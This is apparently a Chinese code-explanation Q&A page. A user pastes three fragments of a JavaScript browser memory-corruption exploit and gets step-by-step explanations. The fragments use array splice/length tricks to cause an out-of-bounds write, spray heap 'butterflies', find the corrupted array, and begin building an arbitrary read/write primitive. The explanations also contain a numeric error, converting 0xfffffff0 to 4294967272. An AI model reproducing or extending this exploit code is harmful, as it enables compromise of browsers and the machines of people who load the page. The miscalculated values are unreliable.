// Spray some objects to use for arb. R/W primitive //debug("[*] Spraying ArrayWithContiguous objects..."); var primitiveSpray = []; for (var i = 0; i < 0x800; i++) { primitiveSpray[i] = []; for (var k = 0; k < 0x10; k++) { primitiveSpray[i].p0 = u2d(0x13371337, 0x0); primitiveSpray[i].p1 = u2d(0x13371337, 0x0); primitiveSpray[i].p2 = u2d(0x13371337, 0x0); primitiveSpray[i].p3 = u2d(0x13371337, 0x0); primitiveSpray[i].p4 = u2d(0x13371337, 0x0); primitiveSpray[i].p5 = u2d(0x13371337, 0x0); primitiveSpray[i].p6 = u2d(0x13371337, 0x0); primitiveSpray[i].p7 = u2d(0x13371337, 0x0); primitiveSpray[i].p8 = u2d(0x13371337, 0x0); primitiveSpray[i].p9 = u2d(0x13371337, 0x0); if(k == 0) primitiveSpray[i][k] = 13.37; else primitiveSpray[i][k] = {}; } }请解释以上代码,描述包括注释在内的代码含义?
时间: 2024-02-14 20:31:06 浏览: 138
以上代码用于创建一些对象,用作任意读写的原始操作。
1. `// Spray some objects to use for arb. R/W primitive`和`//debug("[*] Spraying ArrayWithContiguous objects...");`:这两行代码是注释,用于描述下一步操作的目的,但并没有实际的代码。
2. 创建`primitiveSpray`数组:通过循环创建一个名为`primitiveSpray`的数组,循环次数为0x800(2048)次。
- 在每次循环中,创建一个空数组并将其赋值给`primitiveSpray[i]`。
- 使用嵌套循环,将数组的属性`p0`到`p9`的值分别设置为特定的64位浮点数对象(0x13371337, 0x0)。
- 在内部循环中,根据变量`k`的值进行条件判断:
- 如果`k`为0,则将`primitiveSpray[i][k]`设置为13.37。
- 否则,将`primitiveSpray[i][k]`设置为空对象。
通过这段代码,我们可以看到创建了一个名为`primitiveSpray`的数组,并在其中填充了一些特定的对象。这些对象可以用作任意读写操作的原始操作。根据注释,这些对象可能是用于实现特定功能,如利用漏洞进行内存读写等。
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for (var i = 0; i < sprayMax; i++) { if (targetButterflies[i].length != 0x10) { //debug("[*] Found smashed butterfly!"); //debug("| [+] Index: 0x" + i.toString(16)); //debug("| [+] Length: 0x" + targetButterflies[i].length.toString(16)); targetIdx = i; break; } } if (targetIdx == -1) { alert("[-] Failed to find smashed butterfly."); return; } // We now have an ArrayWithDoubles that can r/w OOB var oobDoubleArr = targetButterflies[targetIdx]; debug("---------- Phase 2: Obtaining Arbitrary R/W Primitive ----------"); // Spray some objects to use for arb. R/W primitive //debug("[*] Spraying ArrayWithContiguous objects...");请解释以上代码,描述包括注释在内的代码含义?
以上代码是在之前的`main`函数中的一部分。让我逐步解释这段代码的含义:
1. `for (var i = 0; i < sprayMax; i++) { ... }`:这是一个循环,循环变量`i`从0开始递增,直到达到`sprayMax`的值。这个循环用于查找被破坏的目标对象数组。
- 在循环体中,首先检查`targetButterflies[i]`的长度是否等于`0x10`(16)。
- 如果不等于`0x10`,则表示找到了被破坏的目标对象数组。
- 在找到被破坏的数组后,将当前循环变量`i`赋值给`targetIdx`,并跳出循环。
2. `if (targetIdx == -1) { ... }`:这是一个条件判断语句,判断`targetIdx`是否等于-1。
- 如果等于-1,则表示没有找到被破坏的目标对象数组。
- 在这种情况下,弹出一个警告框提示"[-] Failed to find smashed butterfly.",并结束函数的执行。
3. `var oobDoubleArr = targetButterflies[targetIdx];`:将被破坏的目标对象数组赋值给变量`oobDoubleArr`。
4. `debug("---------- Phase 2: Obtaining Arbitrary R/W Primitive ----------");`:调用了一个名为`debug`的函数,输出调试信息。此处输出了一个分隔线和一条描述信息。
5. `// Spray some objects to use for arb. R/W primitive`和`//debug("[*] Spraying ArrayWithContiguous objects...");`:这两行代码是注释,用于描述下一步操作的目的,但并没有实际的代码。
根据注释和代码的逻辑,这段代码主要是在循环中查找被破坏的目标对象数组,找到后将其赋值给变量`oobDoubleArr`。然后,输出一条描述信息,准备进行下一阶段的操作。
function main() { document.getElementById("go").style.display = 'none'; debug("---------- Phase 1: Obtaining Relative R/W Primitive ----------"); // Setup the corrupted arr for OOB write //debug("[*] Setting up the attack array..."); var arr = [1]; arr.length = 0x100000; arr.splice(0, 0x11); arr.length = 0xfffffff0; // Spray some target butterflies in CopiedSpace //debug("[*] Spraying target objects on the heap..."); var targetButterflies = []; for (var i = 0; i < sprayMax; i++) { targetButterflies[i] = []; targetButterflies[i].p0 = 0.0; targetButterflies[i].p1 = 0.1; targetButterflies[i].p2 = 0.2; targetButterflies[i].p3 = 0.3; targetButterflies[i].p4 = 0.4; targetButterflies[i].p5 = 0.5; targetButterflies[i].p6 = 0.6; targetButterflies[i].p7 = 0.7; targetButterflies[i].p8 = 0.8; targetButterflies[i].p9 = 0.9; for (var k = 0; k < 0x10; k++) { // We want to smash the length of the array to the max possible value targetButterflies[i][k] = u2d(0x7FFFFFFF, 0x7FEFFFFF); } } //debug("[*] Triggering memory corruption...."); // Trigger shift of memory contents to cause OOB write on a sprayed array arr.splice(0x1000, 0x0, 1); var targetIdx = -1; //debug("[*] Finding corrupted ArrayWithDouble for rel R/W...");请解释以上代码,描述包括注释在内的代码含义?
以上代码是程序的主要逻辑,包含了一系列操作。让我逐步解释代码的含义:
1. `document.getElementById("go").style.display = 'none';`:隐藏了ID为"go"的HTML元素。
2. `debug("---------- Phase 1: Obtaining Relative R/W Primitive ----------");`:调用了一个名为`debug`的函数,输出调试信息。此处输出了一个描述信息。
3. `var arr = [1];`:创建了一个包含一个元素1的数组。
4. `arr.length = 0x100000;`:将数组的长度设置为0x100000(1048576)。
5. `arr.splice(0, 0x11);`:从数组的索引0开始删除17个元素,相当于将数组的长度减少了17。
6. `arr.length = 0xfffffff0;`:将数组的长度设置为0xfffffff0(4294967272)。
7. 创建目标对象数组:通过循环创建了一个名为`targetButterflies`的目标对象数组,循环次数由`sprayMax`变量控制。
- 在每次循环中,创建一个空数组并将其赋值给`targetButterflies[i]`。
- 设置这个数组的属性`p0`到`p9`的值分别为0.0到0.9。
- 使用嵌套循环,将数组的前16个元素设置为一个特定的64位浮点数对象,其值为(0x7FFFFFFF, 0x7FEFFFFF)。
8. `arr.splice(0x1000, 0x0, 1);`:在数组的索引0x1000处插入一个值为1的元素。这个操作将导致内存内容的偏移,从而触发了对被修改的数组的越界写入。
9. `var targetIdx = -1;`:初始化一个变量`targetIdx`,并将其赋值为-1。
10. 在接下来的代码中,可能会继续寻找被破坏的`ArrayWithDouble`对象来实现相对读写操作,但是在提供的代码中并没有给出后续的代码。根据注释,后续代码可能会用于寻找破坏的数组对象和执行内存相关的操作。
以上就是代码的解释。根据代码中的注释,它主要涉及了创建数组、设置数组长度、填充数组元素、触发内存越界写入等操作。这些操作可能是为了实现后续的漏洞利用或内存相关的攻击。
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